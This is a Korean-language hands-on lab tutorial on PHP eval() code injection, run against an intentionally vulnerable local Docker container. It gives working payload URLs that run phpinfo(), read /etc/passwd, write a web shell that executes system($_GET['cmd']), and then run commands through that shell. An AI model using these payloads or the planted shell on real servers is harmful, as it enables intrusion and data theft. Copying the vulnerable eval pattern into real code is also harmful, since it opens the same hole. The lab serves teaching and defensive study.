소개
이 랩에서는 웹 애플리케이션에서 코드 주입 취약점의 개념을 탐구합니다. 코드 주입은 공격자가 사용자 입력 필드에 코드를 주입하여 서버에서 악성 코드를 실행할 수 있도록 하는 일반적인 취약점입니다. 목표는 코드 주입 취약점의 원리를 이해하고 실습을 통해 이를 악용하는 방법을 배우는 것입니다.
이 랩에서는 웹 애플리케이션에서 코드 주입 취약점의 개념을 탐구합니다. 코드 주입은 공격자가 사용자 입력 필드에 코드를 주입하여 서버에서 악성 코드를 실행할 수 있도록 하는 일반적인 취약점입니다. 목표는 코드 주입 취약점의 원리를 이해하고 실습을 통해 이를 악용하는 방법을 배우는 것입니다.
이 과정의 이 부분에서는 의도적으로 취약한 웹 애플리케이션을 설정할 것입니다. 특히 코드 주입 취약점이 있는 애플리케이션입니다. 이는 이러한 문제를 식별하고 완화하는 방법을 배우는 데 도움이 됩니다. 다음은 이 애플리케이션을 시작하고 실행하는 방법입니다.
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/codeexec
이 명령어를 조금 더 자세히 살펴보겠습니다.
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1는 취약한 웹 앱이 포함된 새로운 Docker 컨테이너를 시작합니다. -d 플래그는 Docker 에게 컨테이너를 백그라운드에서 실행하도록 지시합니다. -p 82:80 부분은 컨테이너 내부의 포트 80 을 사용자의 머신 포트 82 에 매핑합니다./bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log'는 컨테이너 내부에서 Apache 웹 서버를 시작한 다음 서버의 오류 로그를 지속적으로 표시합니다.docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/codeexec는 실행 중인 컨테이너 내부의 /var/www/codeexec 디렉토리의 권한을 변경하여 웹 애플리케이션이 올바르게 작동하도록 합니다.명령어가 실행되고 Docker 컨테이너가 활성화되면 웹 브라우저를 열고 http://localhost:82/codeexec/example1.php?name=hacker로 이동하여 애플리케이션과 상호 작용할 수 있습니다. 그러면 의도적으로 취약한 웹 애플리케이션으로 이동합니다. 즐거운 학습 되세요!

이전 단계에서 코드 주입 취약점이 내장된 웹 애플리케이션을 설정했습니다. 이를 가능하게 하는 PHP 코드를 자세히 살펴보겠습니다.
<?php
$str="echo \"Hello ".$_GET['name']."!!!\";";
eval($str);
?>
여기서 PHP 의 eval() 함수는 문자열을 PHP 코드로 실행하는 데 사용됩니다. 문제는 URL 의 name 매개변수에서 사용자가 제공한 값이 eval()이 실행하는 문자열에 직접 추가될 때 발생합니다. 허용되는 입력에 대한 검사가 없기 때문에 이는 코드 주입 공격의 문을 엽니다.
이제 이 취약점이 어떻게 작동하는지 살펴보겠습니다. 기존 문자열에서 벗어나 자체 코드를 추가하여 자체 PHP 코드를 주입할 수 있습니다. 다음 URL 을 방문해 보세요.
http://localhost:82/codeexec/example1.php?name=hacker";phpinfo();
오류 메시지가 표시될 것입니다. 이는 주입된 코드가 구문 오류를 일으켰기 때문입니다. 즉, 이중 따옴표의 균형이 맞지 않습니다. 하지만 걱정하지 마세요. PHP 의 주석 구문을 사용하여 기존 문자열을 종료하여 이 문제를 해결할 수 있습니다.

다음 URL 을 시도해 보세요.
http://localhost:82/codeexec/example1.php?name=hacker";phpinfo();//
이번에는 phpinfo() 함수가 성공적으로 실행되어 서버의 PHP 구성에 대한 정보를 표시해야 합니다. 이는 코드 주입 취약점을 성공적으로 악용했음을 보여줍니다. 보시다시피, 코드의 작은 실수조차도 심각한 보안 위험으로 이어질 수 있습니다!

이 단계에서는 코드 주입 취약점을 악용하는 일반적인 기술인 서버에서 원격 파일을 포함하는 방법을 살펴보겠습니다. PHP 의 file_get_contents() 함수를 사용하여 이를 수행합니다.
서버의 /etc/passwd 파일을 읽기 위해 시도해 볼 수 있는 페이로드는 다음과 같습니다.
http://localhost:82/codeexec/example1.php?name=hacker%22;var_dump(file_get_contents(%20%27/etc/passwd%27));//
결과는 다음과 같습니다.

자세히 살펴보겠습니다.
http://localhost:82/codeexec/example1.php?name=hacker는 이전에도 보았듯이 취약한 애플리케이션의 URL 입니다.%22;var_dump(file_get_contents(%20%27/etc/passwd%27));는 페이로드의 핵심 부분입니다. file_get_contents() 함수를 사용하여 /etc/passwd의 파일 내용을 읽고, var_dump()를 사용하여 표시합니다.//는 나머지 코드를 주석 처리하여 페이로드에 방해가 되지 않도록 하는 방법입니다./etc/passwd 파일에는 시스템의 사용자 계정에 대한 정보가 포함되어 있습니다. 이는 시스템을 더 악용하려는 경우 매우 유용할 수 있습니다. 따라서 이 페이로드를 사용하면 많은 유용한 정보를 얻을 수 있습니다. 시도해 보고 무엇을 배울 수 있는지 확인해 보세요!
이 랩의 마지막 부분에서는 또 다른 일반적인 악용 기술인 서버에 파일 쓰기를 살펴보겠습니다. 이는 PHP 의 file_put_contents() 함수를 사용하여 수행할 수 있습니다. 이 기술은 웹 쉘 또는 기타 악성 코드를 서버에 업로드하는 데 특히 유용할 수 있습니다.
shell.php라는 간단한 웹 쉘을 생성하기 위해 시도해 볼 수 있는 페이로드는 다음과 같습니다.
http://localhost:82/codeexec/example1.php?name=hacker%22;var_dump(file_put_contents($_GET[1],$_GET[2]));//&1=shell.php&2=<?php system($_GET['cmd'])?>
자세히 살펴보겠습니다.
http://localhost:82/codeexec/example1.php?name=hacker는 이전과 마찬가지로 취약한 애플리케이션의 URL 입니다.%22;var_dump(file_put_contents($_GET[1],$_GET[2]));는 file_put_contents() 함수를 사용하여 $_GET[1]에서 제공된 이름과 $_GET[2]에서 제공된 내용으로 파일을 생성합니다. 그런 다음 var_dump()를 사용하여 이 작업의 결과를 표시합니다.//&1=shell.php&2=<?php system($_GET['cmd'])?>는 file_put_contents() 함수에 대한 인수를 제공합니다. shell.php는 우리가 생성하는 파일의 이름이고, <?php system($_GET['cmd'])?>는 파일의 내용입니다. 이 PHP 코드는 쿼리 문자열의 cmd 매개변수를 통해 전달된 모든 명령을 실행합니다.이 페이로드를 실행한 후에는 shell.php 파일에 액세스하여 서버에서 시스템 명령을 실행할 수 있습니다. 예를 들어, 다음 URL 을 방문해 볼 수 있습니다.
http://localhost:82/codeexec/shell.php?cmd=uname -a
결과는 다음과 같습니다.

이렇게 하면 서버에서 uname -a 명령이 실행되고 출력이 표시되어 서버의 운영 체제에 대한 기본적인 정보를 얻을 수 있습니다. 시도해 보고 무엇을 배울 수 있는지 확인해 보세요!
이 랩에서는 코드 주입 취약점에 대해 배우고 다양한 기술을 사용하여 이를 악용하는 방법을 배웠습니다. 취약한 웹 애플리케이션을 설정하고, 근본적인 취약점을 이해했으며, 시스템 명령을 실행하고, 민감한 파일을 읽고, 서버에 파일을 쓰는 PHP 코드를 주입하여 이를 악용했습니다. 이러한 실습 경험은 코드 주입 취약점과 관련된 위험과 웹 애플리케이션에서 이를 완화하는 방법을 더 잘 이해하는 데 도움이 될 것입니다.